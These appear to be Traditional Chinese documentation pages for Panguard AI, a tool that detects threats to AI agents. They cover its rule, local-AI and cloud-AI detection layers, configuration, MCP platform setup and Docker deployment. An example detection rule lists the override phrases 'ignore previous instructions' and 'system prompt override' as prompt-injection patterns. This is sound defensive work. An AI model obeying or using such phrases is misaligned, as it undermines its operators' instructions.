三層漏斗的原則很簡單：**大部分攻擊都是已知 pattern。只有真正未知的威脅才需要 AI 深度推理。**

***

## 架構概覽

```
  Security Events
       |
       v
  +-----------+
  | Layer 1   |  ATR Rule Engine
  | 90% events|  Latency < 1ms | Cost = $0
  +-----------+
       |
    Unmatched (10%)
       |
       v
  +-----------+
  | Layer 2   |  Local AI (Ollama)
  | 7% events |  Latency < 5s  | Cost = $0 (on-device)
  +-----------+
       |
    Needs deeper analysis (3%)
       |
       v
  +-----------+
  | Layer 3   |  Cloud AI (Claude / OpenAI)
  | 3% events |  Latency < 30s | Cost ~ $0.01/event
  +-----------+
```

***

## 各層比較

| 屬性        | Layer 1：規則   | Layer 2：本地 AI   | Layer 3：雲端 AI   |
| --------- | ------------ | --------------- | --------------- |
| **事件佔比**  | \~90%        | \~7%            | \~3%            |
| **延遲**    | \< 1 ms      | \< 5 s          | \< 30 s         |
| **每事件成本** | \$0          | \$0             | \~\$0.01        |
| **需要網路**  | 否            | 否               | 是               |
| **技術**    | ATR 規則       | Ollama (llama3) | Claude / OpenAI |
| **最適合**   | 已知攻擊 pattern | 行為異常            | 新型複雜威脅          |

***

<h2>
  Layer 1 -- 規則引擎 (90%)
</h2>

零延遲、零成本，處理所有已知攻擊 pattern。

### ATR 規則

ATR (Agent Threat Rules) 是 AI agent 威脅偵測的開放標準。Panguard Guard 內建 768 條 ATR 規則，涵蓋常見 AI agent 攻擊 pattern。

```yaml ATR Rule Example theme={null}
id: ATR-2025-0001
name: Prompt Injection via Tool Response
severity: critical
detection:
  patterns:
    - 'ignore previous instructions'
    - 'system prompt override'
  context: tool_response
action: block
```

**支援的 ATR 功能：**

* Regex pattern matching
* 情境感知偵測（tool 回應、skill manifest、agent 動作）
* 多層偵測：regex、內容指紋、LLM-as-judge
* 嚴重等級：critical、high、medium、low
* AI agent 威脅的 MITRE ATT\&CK 對應

***

<h2>
  Layer 2 -- 本地 AI (7%)
</h2>

事件沒命中任何規則但看起來可疑時，丟給本地 AI 分析。

* 透過 [Ollama](https://ollama.ai) 本地跑 -- 不需要網路
* 零 API 成本
* 推論延遲約 3-5 秒
* 預設模型：`llama3`

<Info>
  **環境感知路由：** 在 server（VPS、雲端主機）上，事件跑全部三層。在桌機和筆電上，Layer 2
  會被跳過，避免搶使用者資源。未命中的事件直接從 Layer 1 跳到 Layer 3。
</Info>

```
Server:  Layer 1 (90%) -> Layer 2 (7%) -> Layer 3 (3%)
Desktop: Layer 1 (90%) -> Layer 3 (5-8%)  (Layer 2 skipped)
```

***

<h2>
  Layer 3 -- 雲端 AI (3%)
</h2>

最複雜的未知威脅交給雲端 AI 做完整的動態推理。

* 完整上下文分析
* 跨事件關聯分析
* MITRE ATT\&CK 分類的攻擊鏈推理
* 自動產生修復建議

<Note>就算雲端 AI 掛了（斷網、token 用完），Layer 1 規則引擎照跑。**防護永遠不會停。**</Note>

***

## 優雅降級

三層架構的關鍵設計：任何一層掛掉，上一層自動接手。

| 情境        | 降級行為             |
| --------- | ---------------- |
| 雲端 AI 不可用 | Layer 2（本地 AI）接手 |
| 沒裝 Ollama | Layer 1（規則引擎）接手  |
| 規則檔損壞     | 內建預設規則啟動         |

**Panguard 永遠有防護 -- 只有精準度會變。**

### 依可用來源調整信心度權重

系統根據可用的偵測來源，動態調整每種證據的權重：

| 可用來源           | 規則/情報 | 基線   | AI   | eBPF |
| -------------- | ----- | ---- | ---- | ---- |
| 只有規則           | 0.60  | 0.40 | --   | --   |
| 規則 + AI        | 0.40  | 0.30 | 0.30 | --   |
| 規則 + eBPF      | 0.40  | 0.35 | --   | 0.25 |
| 規則 + AI + eBPF | 0.30  | 0.20 | 0.30 | 0.20 |

***

## FunnelRouter

`@panguard-ai/core` 裡的 `FunnelRouter` 元件負責 Layer 2 到 Layer 3 的降級邏輯：

<Steps>
  <Step title="先試本地 AI">把事件丟給 Ollama 做本地分析。</Step>
  <Step title="評估信心度">Ollama 回傳高信心度就採用。Ollama 不可用或信心度太低就往上丟。</Step>
  <Step title="降級到雲端 AI">丟給 Claude 或 OpenAI 做深度推理和 MITRE 分類。</Step>

  <Step title="最終降級">
    所有 AI 都不可用的話，系統改用純規則評分（權重變成 0.6 規則 + 0.4 基線）。
  </Step>
</Steps>

**Provider 自動偵測**（啟動時）：

1. 檢查 `~/.panguard/llm.enc`（加密本地設定，AES-256-GCM）
2. 檢查環境變數：`ANTHROPIC_API_KEY`、`OPENAI_API_KEY`
3. 探測本地 Ollama `http://localhost:11434`
4. 建構對應的 adapter：FunnelRouter（都有）、單一 provider、或 null

***

## 相關內容

<CardGroup>
  <Card title="學習模式" icon="graduation-cap" href="/concepts/learning-mode">
    Guard 怎麼在 7 天學習期建立行為基線。
  </Card>

  <Card title="即時防護" icon="shield" href="/guides/real-time-protection">
    設定 Guard 做持續監控和自動回應。
  </Card>
</CardGroup>


# 環境變數
Source: https://docs.panguard.ai/zh-Hant/configuration/environment-variables

Panguard 各服務環境變數完整參考。

環境變數在服務啟動時生效。可以設在 shell profile、`.env` 檔或容器編排系統裡。

## Panguard Guard

| 變數                   | 預設                       | 說明                                    |
| -------------------- | ------------------------ | ------------------------------------- |
| `PANGUARD_DATA_DIR`  | `~/.panguard-guard`      | Guard 資料、規則、log 的根目錄                  |
| `PANGUARD_MODE`      | `protect`                | 運作模式：`learning`、`detect`、`protect`    |
| `OLLAMA_ENDPOINT`    | `http://localhost:11434` | Ollama API endpoint，本機 AI 分析用         |
| `ANTHROPIC_API_KEY`  | --                       | Anthropic API key，Claude 分析用（第 2/3 層） |
| `OPENAI_API_KEY`     | --                       | OpenAI API key，GPT 分析用（第 2/3 層）       |
| `ABUSEIPDB_KEY`      | --                       | AbuseIPDB API key，IP 聲譽查詢用            |
| `PANGUARD_LOG_LEVEL` | `info`                   | log 等級：`debug`、`info`、`warn`、`error`  |
| `PANGUARD_LANG`      | `en`                     | CLI 輸出跟通知語言：`en`、`zh-TW`、`ja`         |

<CodeGroup>
  ```bash Linux / macOS theme={null}
  export PANGUARD_DATA_DIR=~/.panguard-guard
  export PANGUARD_MODE=protect
  export PANGUARD_LOG_LEVEL=info
  export PANGUARD_LANG=en

  # AI provider（建議至少設一個）
  export OLLAMA_ENDPOINT=http://localhost:11434
  export ANTHROPIC_API_KEY=sk-ant-...
  export OPENAI_API_KEY=sk-...

  # 選配
  export ABUSEIPDB_KEY=your-key-here
  ```

  ```powershell Windows theme={null}
  $env:PANGUARD_DATA_DIR = "$HOME\.panguard-guard"
  $env:PANGUARD_MODE = "protect"
  $env:PANGUARD_LOG_LEVEL = "info"
  $env:PANGUARD_LANG = "en"

  # AI provider
  $env:OLLAMA_ENDPOINT = "http://localhost:11434"
  $env:ANTHROPIC_API_KEY = "sk-ant-..."
  ```
</CodeGroup>

<Info>
  Guard 用三層 AI 系統。最低限度要設 `OLLAMA_ENDPOINT` 給本機分析（第一層）。加上 `ANTHROPIC_API_KEY` 或 `OPENAI_API_KEY` 就能用雲端分析（第 2/3 層）。
</Info>

***

## Panguard Threat Cloud

| 變數                       | 預設                       | 說明                           |
| ------------------------ | ------------------------ | ---------------------------- |
| `TC_API_KEYS`            | --                       | 逗號分隔的合法 API key 清單           |
| `TC_PORT`                | `4000`                   | Threat Cloud API 的 HTTP port |
| `TC_DB_PATH`             | `./data/threat-cloud.db` | SQLite 資料庫路徑                 |
| `ALLOW_ANONYMOUS_UPLOAD` | `false`                  | 允許未認證的威脅提交                   |

<CodeGroup>
  ```bash Linux / macOS theme={null}
  export TC_API_KEYS=key1,key2,key3
  export TC_PORT=4000
  export TC_DB_PATH=/var/lib/panguard/threat-cloud.db
  export ALLOW_ANONYMOUS_UPLOAD=false
  ```
</CodeGroup>

<Info>
  `ALLOW_ANONYMOUS_UPLOAD=true` 讓人不用 API key 就能提交威脅資料。提交的資料還是會經過驗證跟聲譽評分。
</Info>

***

## Docker / Production

| 變數         | 預設            | 說明                           |
| ---------- | ------------- | ---------------------------- |
| `NODE_ENV` | `development` | production 部署設成 `production` |

設 `NODE_ENV=production` 的效果：

* 關掉 debug log 跟錯誤回應裡的 stack trace
* 啟用 response 壓縮
* 啟用更嚴格的安全 header
* 關掉開發用的 route

<CodeGroup>
  ```yaml docker-compose.yml theme={null}
  services:
    threat-cloud:
      image: panguard/threat-cloud
      environment:
        - NODE_ENV=production
        - TC_PORT=4000
        - TC_API_KEYS=${TC_API_KEYS}
        - TC_DB_PATH=/data/threat-cloud.db
      volumes:
        - tc-data:/data
  ```
</CodeGroup>

## 優先順序

環境變數優先於 config 檔。解析順序：

1. 環境變數（最高）
2. Config 檔值（`config.json`）
3. 內建預設值（最低）

<Tip>
  本機開發的話，在服務目錄建一個 `.env` 檔用 `dotenv` 載入就好。`.env` 檔永遠不要 commit 進 version control。
</Tip>


# Guard 設定
Source: https://docs.panguard.ai/zh-Hant/configuration/guard-config

Panguard Guard config 檔完整參考。

Panguard Guard 的 config 是一份 JSON 檔，放在 `~/.panguard-guard/config.json`。第一次跑 `panguard guard start` 時會自動產生合理的預設值，你也可以自己建。

## Config 檔位置

```
~/.panguard-guard/config.json
```

## 完整 config 範例

```json theme={null}
{
  "mode": "protect",
  "learningDays": 7,
  "monitoring": {
    "networkConnections": true,
    "fileIntegrity": true,
    "processActivity": true,
    "authLogs": true,
    "systemLogs": true,
    "kernelModules": true,
    "cronJobs": true,
    "dockerEvents": false
  },
  "rules": {
    "rulesDir": "~/.panguard-guard/rules",
    "customRulesEnabled": true,
    "autoUpdate": true,
    "updateInterval": "24h"
  },
  "response": {
    "enabled": true,
    "autoBlock": true,
    "blockDuration": "24h",
    "minConfidence": 0.85,
    "actions": ["block_ip", "kill_process", "quarantine_file"],
    "requireApproval": false,
    "whitelistedIps": [],
    "whitelistedProcesses": []
  },
  "threatIntel": {
    "enabled": true,
    "endpoint": "https://tc.panguard.ai",
    "uploadEnabled": true,
    "downloadInterval": "1h",
    "abuseIpDbEnabled": false
  },
  "dashboard": {
    "enabled": true,
    "port": 9090,
    "bindAddress": "127.0.0.1"
  },
  "notification": {
    "enabled": true,
    "channels": ["telegram"],
    "minSeverity": "medium",
    "cooldownMinutes": 15
  },
  "auth": {
    "managerEndpoint": "https://localhost:8443",
    "heartbeatInterval": 60,
    "token": null
  }
}
```

## 各區段說明

### mode

<ParamField type="string">
  Guard 的運作模式。
</ParamField>

| 值          | 說明                              |
| ---------- | ------------------------------- |
| `learning` | 純觀察模式。只建 baseline，不觸發警示也不做任何回應。 |
| `detect`   | 監控並發出異常警示，但不執行自動回應。             |
| `protect`  | 完整防護。監控、警示、自動回應一次到位。            |

<Info>新安裝會在設定的 `learningDays` 期間跑 `learning` 模式，之後自動切到 `protect` 模式。</Info>

### learningDays

<ParamField type="number">
  學習模式要跑幾天才切到正式模式。範圍：1--30。
</ParamField>

### monitoring

控制 Guard 要監控哪些系統活動。

| 欄位                   | 型別      | 預設      | 說明                                          |
| -------------------- | ------- | ------- | ------------------------------------------- |
| `networkConnections` | boolean | `true`  | 監控進出的網路連線                                   |
| `fileIntegrity`      | boolean | `true`  | 監視關鍵系統檔案有沒有被改                               |
| `processActivity`    | boolean | `true`  | 追蹤 process 建立、結束跟異常                         |
| `authLogs`           | boolean | `true`  | 監控身分驗證（SSH、sudo 等）                          |
| `systemLogs`         | boolean | `true`  | 分析系統 log（syslog、journald、Windows Event Log） |
| `kernelModules`      | boolean | `true`  | 偵測 kernel module 載入/卸載                      |
| `cronJobs`           | boolean | `true`  | 監視 cron/排程任務修改                              |
| `dockerEvents`       | boolean | `false` | 監控 Docker container 事件（需要裝 Docker）          |

### rules

偵測規則設定。v1.9.0 內建 768 條 ATR 規則。

| 欄位                   | 型別      | 預設                        | 說明                    |
| -------------------- | ------- | ------------------------- | --------------------- |
| `rulesDir`           | string  | `~/.panguard-guard/rules` | ATR 規則目錄              |
| `customRulesEnabled` | boolean | `true`                    | 從子目錄載入自訂規則            |
| `autoUpdate`         | boolean | `true`                    | 從 Threat Cloud 自動更新規則 |
| `updateInterval`     | string  | `24h`                     | 多久檢查一次規則更新            |

### response

自動回應設定。

| 欄位                     | 型別        | 預設                                                | 說明                                   |
| ---------------------- | --------- | ------------------------------------------------- | ------------------------------------ |
| `enabled`              | boolean   | `true`                                            | 啟用自動回應                               |
| `autoBlock`            | boolean   | `true`                                            | 自動封鎖惡意 IP                            |
| `blockDuration`        | string    | `24h`                                             | IP 封鎖時間（`1h`、`24h`、`7d`、`permanent`） |
| `minConfidence`        | number    | `0.85`                                            | 觸發自動回應的最低 AI 信心分數（0.0--1.0）          |
| `actions`              | string\[] | `["block_ip", "kill_process", "quarantine_file"]` | 允許的回應動作                              |
| `requireApproval`      | boolean   | `false`                                           | 執行回應前要不要人工核准                         |
| `whitelistedIps`       | string\[] | `[]`                                              | 永遠不封鎖的 IP                            |
| `whitelistedProcesses` | string\[] | `[]`                                              | 永遠不 kill 的 process                   |

<Warning>
  把 `minConfidence` 設到 `0.7` 以下很容易產生誤報回應。預設的 `0.85`
  在防護跟準確性之間是不錯的平衡點。
</Warning>

### threatIntel

Threat Cloud 整合設定。

| 欄位                 | 型別      | 預設                       | 說明                                  |
| ------------------ | ------- | ------------------------ | ----------------------------------- |
| `enabled`          | boolean | `true`                   | 啟用 Threat Cloud 整合                  |
| `endpoint`         | string  | `https://tc.panguard.ai` | Threat Cloud API endpoint           |
| `uploadEnabled`    | boolean | `true`                   | 把偵測到的威脅上傳到 Threat Cloud             |
| `downloadInterval` | string  | `1h`                     | 多久下載一次更新的 IoC feed                  |
| `abuseIpDbEnabled` | boolean | `false`                  | 啟用 AbuseIPDB 查詢（需要 `ABUSEIPDB_KEY`） |

### dashboard

本機 web 儀表板設定（選配）。

| 欄位            | 型別      | 預設          | 說明                        |
| ------------- | ------- | ----------- | ------------------------- |
| `enabled`     | boolean | `true`      | 啟用本機 web 儀表板              |
| `port`        | number  | `9090`      | 儀表板 HTTP port             |
| `bindAddress` | string  | `127.0.0.1` | bind 位址（用 `0.0.0.0` 遠端存取） |

### notification

警示通知設定。

| 欄位                | 型別        | 預設       | 說明                                          |
| ----------------- | --------- | -------- | ------------------------------------------- |
| `enabled`         | boolean   | `true`   | 啟用通知                                        |
| `channels`        | string\[] | `[]`     | 啟用的頻道：`telegram`、`slack`、`email`、`webhook`  |
| `minSeverity`     | string    | `medium` | 觸發通知的最低嚴重性：`low`、`medium`、`high`、`critical` |
| `cooldownMinutes` | number    | `15`     | 重複通知之間的最短分鐘數                                |

### auth

Manager API 連線設定。

| 欄位                  | 型別     | 預設                       | 說明                          |
| ------------------- | ------ | ------------------------ | --------------------------- |
| `managerEndpoint`   | string | `https://localhost:8443` | Manager API URL             |
| `heartbeatInterval` | number | `60`                     | 心跳間隔（秒）                     |
| `token`             | string | `null`                   | Manager API token（CLI 自動設定） |

<Tip>
  大部分人不需要直接改這個檔。用 CLI 的 `panguard config set` 改個別設定比較安全。CLI
  會幫你驗證值，敏感欄位也會自動加密。
</Tip>


# 開始使用
Source: https://docs.panguard.ai/zh-Hant/getting-started

安裝 Panguard AI，5 分鐘內開始保護你的 AI agent。

<Info>本頁內容已整合至 **Quick Start** 指南，讓你更快上手。</Info>

<Card title="Quick Start 指南" icon="rocket" href="/quickstart">
  安裝 CLI、掃描系統、啟動即時防護。5 分鐘搞定。100% 開源，不用註冊帳號。
</Card>

<Card title="安裝細節" icon="download" href="/installation">
  macOS、Linux、Windows 各平台的安裝說明。
</Card>

<CardGroup>
  <Card title="Skill Auditor" icon="shield-check" href="/products/scan/overview">
    安裝 MCP skill 之前先掃一遍，偵測 prompt injection、tool poisoning 和隱藏威脅。
  </Card>

  <Card title="Guard" icon="eye" href="/products/guard/overview">
    即時監控 AI endpoint，自動回應威脅。
  </Card>
</CardGroup>


# 安裝到 OpenClaw 及相容平台
Source: https://docs.panguard.ai/zh-Hant/guides/claw-setup

OpenClaw、QClaw、WorkBuddy、NemoClaw、ArkClaw 一鍵安裝指南。不需帳號。

60 秒內把 Panguard 裝到你的 Claw AI agent 或相容 MCP 平台。不需帳號、不需登入、不需設定。

## 快速開始（所有平台）

最快的方式 -- 一行搞定安裝和設定：

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash && panguard setup
```

已經裝好 Panguard 的話：

```bash theme={null}
panguard setup
```

自動偵測 OpenClaw、QClaw、WorkBuddy、NemoClaw、ArkClaw 和其他 AI 平台，注入正確的 config。

***

## OpenClaw

OpenClaw 用**原生 Skill 系統**（不是 MCP）。Panguard 以 skill 形式安裝到 `~/.openclaw/skills/panguard/`。

### 自動安裝

```bash theme={null}
npx panguard setup --platform openclaw
```

### 手動安裝

```bash theme={null}
mkdir -p ~/.openclaw/skills/panguard
npx panguard setup --platform openclaw
```

裝完重啟 OpenClaw，就能直接用 Panguard 指令：

```
> 審計這個專案的 skills
> 掃描我的機器有沒有漏洞
> 啟動即時防護
> 顯示安全狀態
```

### 驗證

```bash theme={null}
ls ~/.openclaw/skills/panguard/SKILL.md
```

檔案在就代表裝好了。

***

## QClaw（騰訊）

QClaw 用標準 **MCP 協議**。Panguard 把 MCP server config 加到 `~/.qclaw/mcp.json`。

### 自動安裝

```bash theme={null}
npx panguard setup --platform qclaw
```

### 手動安裝

偏好手動的話，把以下加到 `~/.qclaw/mcp.json`：

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

裝完重啟 QClaw。Panguard 的 12 個 MCP 工具就能用了：

| 工具                       | 功能          |
| ------------------------ | ----------- |
| `panguard_audit_skill`   | 安裝前審計 skill |
| `panguard_scan`          | 跑安全掃描       |
| `panguard_status`        | 顯示 Guard 狀態 |
| `panguard_guard_start`   | 啟動 24/7 防護  |
| `panguard_threat_search` | 搜尋威脅情報      |

### 驗證

```bash theme={null}
cat ~/.qclaw/mcp.json
```

應該會在 `mcpServers` 下看到 `panguard` 項目。

***

## WorkBuddy

WorkBuddy 用標準 **MCP 協議**。Panguard 把 MCP server config 加到 `~/.workbuddy/.mcp.json`。

### 自動安裝

```bash theme={null}
npx panguard setup --platform workbuddy
```

### 手動安裝

偏好手動的話，把以下加到 `~/.workbuddy/.mcp.json`：

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

裝完重啟 WorkBuddy。Panguard 的 12 個 MCP 工具就能用了。

### 驗證

```bash theme={null}
cat ~/.workbuddy/.mcp.json
```

應該會在 `mcpServers` 下看到 `panguard` 項目。

***

## NemoClaw

NemoClaw 用標準 **MCP 協議**。Panguard 把 MCP server config 加到 `~/.nemoclaw/mcp.json`。

### 自動安裝

```bash theme={null}
npx panguard setup --platform nemoclaw
```

### 手動安裝

偏好手動的話，把以下加到 `~/.nemoclaw/mcp.json`：

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

裝完重啟 NemoClaw。Panguard 的 12 個 MCP 工具就能用了。

### 驗證

```bash theme={null}
cat ~/.nemoclaw/mcp.json
```

應該會在 `mcpServers` 下看到 `panguard` 項目。

***

## ArkClaw

ArkClaw 用標準 **MCP 協議**。Panguard 把 MCP server config 加到 `~/.arkclaw/mcp.json`。

### 自動安裝

```bash theme={null}
npx panguard setup --platform arkclaw
```

### 手動安裝

偏好手動的話，把以下加到 `~/.arkclaw/mcp.json`：

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

裝完重啟 ArkClaw。Panguard 的 12 個 MCP 工具就能用了。

### 驗證

```bash theme={null}
cat ~/.arkclaw/mcp.json
```

應該會在 `mcpServers` 下看到 `panguard` 項目。

***

## 疑難排解

<AccordionGroup>
  <Accordion title="偵測不到平台">
    `panguard setup` 說找不到 OpenClaw 或 QClaw 的話：

    1. 確認 app 已安裝而且至少開過一次
    2. 檢查 config 目錄存不存在：`ls ~/.openclaw` 或 `ls ~/.qclaw`
    3. 用 `--platform` flag 強制指定：`npx panguard setup --platform openclaw`
  </Accordion>

  <Accordion title="QClaw 看不到 MCP 工具">
    1. 完全重啟 QClaw（關掉再開） 2. 確認 config：`cat ~/.qclaw/mcp.json` 3. 確認 `npx` 在 PATH
       裡：`which npx`
  </Accordion>

  <Accordion title="OpenClaw skill 沒反應">
    1. 重啟 OpenClaw 2. 確認檔案存在：`ls ~/.openclaw/skills/panguard/SKILL.md` 3. 確認 `panguard` CLI
       可用：`npx panguard --version`
  </Accordion>

  <Accordion title="移除 Panguard">
    ```bash theme={null}
    npx panguard setup --remove --platform openclaw
    npx panguard setup --remove --platform qclaw
    ```
  </Accordion>
</AccordionGroup>

***

## 總覽

|               | OpenClaw                               | QClaw                | WorkBuddy                | NemoClaw               | ArkClaw               |
| ------------- | -------------------------------------- | -------------------- | ------------------------ | ---------------------- | --------------------- |
| **協議**        | 原生 Skill                               | MCP                  | MCP                      | MCP                    | MCP                   |
| **Config 路徑** | `~/.openclaw/skills/panguard/SKILL.md` | `~/.qclaw/mcp.json`  | `~/.workbuddy/.mcp.json` | `~/.nemoclaw/mcp.json` | `~/.arkclaw/mcp.json` |
| **安裝指令**      | `npx panguard setup`                   | `npx panguard setup` | `npx panguard setup`     | `npx panguard setup`   | `npx panguard setup`  |
| **需要帳號**      | 否                                      | 否                    | 否                        | 否                      | 否                     |
| **需要重啟**      | 是                                      | 是                    | 是                        | 是                      | 是                     |


# Docker 部署
Source: https://docs.panguard.ai/zh-Hant/guides/docker-deployment

用 Docker 和 Docker Compose 跑 Panguard AI，容器化安全監控。

# Docker 部署

Panguard 提供 Docker image 和 Compose config，方便容器化部署。這篇涵蓋單容器、完整堆疊 Compose、正式環境強化。

***

## 前置需求

| 需求             | 版本      |
| -------------- | ------- |
| Docker         | >= 24.0 |
| Docker Compose | >= 2.20 |

***

## Docker 快速開始

<Steps>
  <Step title="拉 image">
    ```bash theme={null}
    docker pull panguard/panguard-ai:latest
    ```
  </Step>

  <Step title="跑容器">
    ```bash theme={null}
    docker run -d \
      --name panguard \
      -p 3000:3000 \
      -v panguard-data:/data \
      panguard/panguard-ai:latest
    ```
  </Step>

  <Step title="確認">
    ```bash theme={null}
    docker logs panguard
    ```
  </Step>
</Steps>

***

## Docker Compose：基本（API + Ollama）

這個 config 跑 Panguard API server 搭配本地 Ollama，零成本做 Layer 2 AI 分析。

```yaml theme={null}
# docker-compose.yml
services:
  panguard:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: panguard
    restart: unless-stopped
    ports:
      - '3000:3000'
    volumes:
      - panguard-data:/data
      - ./config:/app/config:ro
    environment:
      - PANGUARD_DATA_DIR=/data
      - PANGUARD_PORT=3000
      - OLLAMA_ENDPOINT=http://ollama:11434
    depends_on:
      ollama:
        condition: service_healthy

  ollama:
    image: ollama/ollama:latest
    container_name: panguard-ollama
    restart: unless-stopped
    ports:
      - '11434:11434'
    volumes:
      - ollama-models:/root/.ollama
    healthcheck:
      test: ['CMD', 'curl', '-f', 'http://localhost:11434/api/tags']
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 30s

volumes:
  panguard-data:
  ollama-models:
```

```bash theme={null}
# build 並啟動
docker compose up -d

# 拉 Ollama model（只有第一次需要）
docker exec panguard-ollama ollama pull llama3

# 看日誌
docker compose logs -f panguard
```

***

## Docker Compose：完整堆疊（Guard + Ollama + Threat Cloud）

跑完整 Panguard 平台，含 Guard 防護和本地 AI。

```yaml theme={null}
# docker-compose.full.yml
services:
  panguard:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: panguard
    restart: unless-stopped
    ports:
      - '3000:3000'
    volumes:
      - panguard-data:/data
      - ./config:/app/config:ro
    environment:
      - PANGUARD_DATA_DIR=/data
      - PANGUARD_PORT=3000
      - OLLAMA_ENDPOINT=http://ollama:11434
    depends_on:
      ollama:
        condition: service_healthy
    networks:
      - panguard-net

  ollama:
    image: ollama/ollama:latest
    container_name: panguard-ollama
    restart: unless-stopped
    ports:
      - '11434:11434'
    volumes:
      - ollama-models:/root/.ollama
    networks:
      - panguard-net
    healthcheck:
      test: ['CMD', 'curl', '-f', 'http://localhost:11434/api/tags']
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 30s

volumes:
  panguard-data:
  ollama-models:

networks:
  panguard-net:
    driver: bridge
```

```bash theme={null}
docker compose -f docker-compose.full.yml up -d
```

***

## Port 參考

| Port    | 服務         | 協定   | 備註                |
| ------- | ---------- | ---- | ----------------- |
| `3000`  | API Server | HTTP | 主要入口              |
| `11434` | Ollama     | HTTP | 本地 AI 推論          |
| `2222`  | SSH 蜜罐     | TCP  | 預設 SSH 蜜罐 port    |
| `8080`  | HTTP 蜜罐    | TCP  | 預設 HTTP 蜜罐 port   |
| `2121`  | FTP 蜜罐     | TCP  | 預設 FTP 蜜罐 port    |
| `4450`  | SMB 蜜罐     | TCP  | 預設 SMB 蜜罐 port    |
| `3307`  | MySQL 蜜罐   | TCP  | 預設 MySQL 蜜罐 port  |
| `3390`  | RDP 蜜罐     | TCP  | 預設 RDP 蜜罐 port    |
| `2323`  | Telnet 蜜罐  | TCP  | 預設 Telnet 蜜罐 port |

***

## 環境變數

### Guard Agent

| 變數                  | 預設值                      | 說明                                 |
| ------------------- | ------------------------ | ---------------------------------- |
| `PANGUARD_DATA_DIR` | `./data`                 | 基線、日誌、規則的資料目錄                      |
| `PANGUARD_MODE`     | `learning`               | Guard 模式：`learning` 或 `protection` |
| `OLLAMA_ENDPOINT`   | `http://localhost:11434` | Ollama API 端點                      |
| `ANTHROPIC_API_KEY` | （無）                      | Claude API key，雲端 AI 用             |
| `OPENAI_API_KEY`    | （無）                      | OpenAI API key，雲端 AI 用             |
| `ABUSEIPDB_KEY`     | （無）                      | AbuseIPDB API key，威脅情報用            |

### API Server

| 變數              | 預設值    | 說明              |
| --------------- | ------ | --------------- |
| `PANGUARD_PORT` | `3000` | API server port |

<Warning>
  正式環境的 Compose 檔不要把密鑰寫在 `environment` 裡。改用權限受限的 `env_file`：

  ```yaml theme={null}
  env_file:
    - /etc/panguard/guard.env  # chmod 600
  ```
</Warning>

***

## 正式環境強化

### Docker Image 安全

正式環境 image 包含：

* **多階段 build** -- build 依賴不會進最終 image
* **非 root 使用者** -- 以 `panguard`（UID 1001）跑
* **tini** -- 正確的 PID 1 信號處理和 zombie process 回收
* **最小套件** -- 最終 image 只有 `tini` 和 `curl`

### 需要的 Capabilities

Guard 回應動作在 Docker 裡要授予這些 capabilities：

```yaml theme={null}
cap_add:
  - NET_ADMIN    # 透過 iptables 封鎖 IP
  - KILL         # 砍惡意 process
  - SYS_PTRACE   # 記憶體掃描
```

### 檢查清單

* [ ] 設 `NODE_ENV=production`（開啟 HSTS、關閉萬用 CORS）
* [ ] 產生強力密鑰（`openssl rand -hex 32`）
* [ ] 用 TLS 終止（前面放 nginx/Caddy 反向代理）
* [ ] 限制 Manager port 的網路存取
* [ ] 密鑰用 env file 掛載，不要用行內環境變數
* [ ] 用 named volume 做持久化
* [ ] 設好容器日誌輪替

***

## 日誌位置（容器內）

| 元件       | 路徑                            | 格式       |
| -------- | ----------------------------- | -------- |
| Guard 事件 | `/data/events.jsonl`          | JSONL    |
| Guard 動作 | `/data/action-manifest.jsonl` | JSONL    |
| Guard 基線 | `/data/baseline.json`         | JSON     |
| 應用程式日誌   | stdout/stderr                 | 結構化 JSON |

### 日誌輪替

ReportAgent 自動處理日誌輪替：

| 設定      | 預設值   |
| ------- | ----- |
| 最大檔案大小  | 50 MB |
| 最大輪替檔案數 | 10    |
| 保留期間    | 90 天  |

***

## 備份策略

<Tip>
  定期備份這些關鍵檔案：

  * **基線資料**（`/data/baseline.json`）-- 丟了要重跑學習模式
  * **Threat Cloud 資料庫** -- 定期備份 SQLite
  * **Config** -- config 和環境檔存進版本控制或密鑰管理服務
</Tip>

***

## 相關文件

<CardGroup>
  <Card title="系統服務" icon="gear" href="/guides/system-service">
    不用 Docker，把 Guard 裝成原生 systemd/launchd 服務。
  </Card>

  <Card title="多端點部署" icon="server" href="/guides/multi-endpoint">
    把 Guard agent 連線到集中式 Manager。
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/guides/threat-cloud-deployment">
    在 Guard 機群旁邊部署 Threat Cloud。
  </Card>

  <Card title="架構" icon="sitemap" href="/concepts/architecture">
    平台的完整技術架構。
  </Card>
</CardGroup>


# 第一次掃描
Source: https://docs.panguard.ai/zh-Hant/guides/first-scan

手把手帶你跑第一次 Panguard 安全掃描，看懂結果，知道該修什麼。

# 第一次掃描

Panguard 掃描大約 60 秒就能分析完你的系統、找出安全弱點，並給出具體的修復建議。所有掃描功能免費開源。

***

## 前置需求

開始掃描前，先確認 Panguard 已裝好：

```bash theme={null}
# 透過 npm 安裝
npm install -g panguard

# 或用一行安裝腳本
curl -fsSL https://get.panguard.ai | bash

# 確認安裝成功
panguard --version
```

***

## 跑你的第一次掃描

<Steps>
  <Step title="跑快速掃描">
    先用快速掃描看個大概：

    ```bash theme={null}
    panguard scan --quick
    ```

    大約 30 秒完成，涵蓋 OS 偵測、網路介面、開放 port、執行中服務、密碼政策、防火牆狀態、安全工具偵測。
  </Step>

  <Step title="看掃描結果">
    結果會依嚴重程度分組顯示：

    ```
      -- Network Interfaces -------------------

      en0    192.168.1.100  (Wi-Fi)
      lo0    127.0.0.1      (Loopback)

      -- Open Ports ----------------------------

      Port   Proto  Service     PID    Risk
      22     tcp    sshd        1234   HIGH
      80     tcp    nginx       5678   LOW
      443    tcp    nginx       5678   LOW
      3306   tcp    mysqld      9012   MEDIUM
    ```
  </Step>

  <Step title="看安全分數">
    每次掃描都會算出 0-100 的安全分數和等級：

